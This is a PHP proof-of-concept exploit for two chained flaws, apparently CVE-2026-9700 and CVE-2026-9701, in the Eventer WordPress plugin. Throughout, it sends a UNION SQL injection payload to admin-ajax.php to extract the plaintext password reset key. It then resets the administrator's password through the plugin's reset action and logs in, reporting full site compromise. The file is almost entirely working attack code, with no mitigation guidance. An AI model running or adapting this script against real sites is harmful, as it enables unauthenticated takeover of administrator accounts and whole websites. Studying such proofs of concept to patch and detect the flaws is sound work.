<?php
/**
* CVE-2026-9701 - Eventer Plugin Insecure Password Reset Mechanism
* Combined with CVE-2026-9700 (SQL Injection) for full account takeover
*
* This PoC demonstrates how an unauthenticated attacker can:
* 1. Use SQL Injection (CVE-2026-9700) to extract plaintext reset keys
* 2. Use the extracted key to reset any user's password via custom reset action
*/
// Step 1: Extract plaintext password reset key via SQL Injection (CVE-2026-9700)
// Target: wp_usermeta table, meta_key = 'eventer_verification_code'
function extract_reset_key($target_user_id, $sqli_endpoint) {
// SQL Injection payload to extract eventer_verification_code
// Example: UNION SELECT meta_value FROM wp_usermeta WHERE meta_key='eventer_verification_code' AND user_id=$target_user_id
$payload = "1' UNION SELECT meta_value FROM wp_usermeta WHERE meta_key='eventer_verification_code' AND user_id=$target_user_id-- -";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $sqli_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['param' => $payload]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Parse the reset key from the response
return trim($response);
}
// Step 2: Use the extracted reset key to reset the target user's password
function reset_user_password($site_url, $user_id, $reset_key, $new_password) {
// Eventer plugin's custom reset action endpoint
$reset_endpoint = $site_url . "/?eventer_action=reset_password";
$data = [
'user_id' => $user_id,
'code' => $reset_key, // Plaintext reset key extracted from DB
'password' => $new_password,
'confirm_password' => $new_password
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $reset_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// Main exploit flow
$target_site = "http://target-wordpress-site.com";
$sqli_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php";
$admin_id = 1; // Administrator user ID
$new_pass = "Pwned!123";
// Step 1: Extract plaintext reset key via SQLi
$reset_key = extract_reset_key($admin_id, $sqli_url);
echo "[+] Extracted reset key: $reset_key\n";
// Step 2: Reset administrator password
$result = reset_user_password($target_site, $admin_id, $reset_key, $new_pass);
echo "[+] Password reset result: $result\n";
echo "[+] Admin password has been changed to: $new_pass\n";
// Step 3: Login as administrator
$login_url = $target_site . "/wp-login.php";
$login_data = [
'log' => 'admin',
'pwd' => $new_pass,
'wp-submit' => 'Log In',
'redirect_to' => $target_site . '/wp-admin/',
'testcookie' => '1'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_exec($ch);
curl_close($ch);
echo "[+] Logged in as administrator. Full site compromise achieved.\n";
?>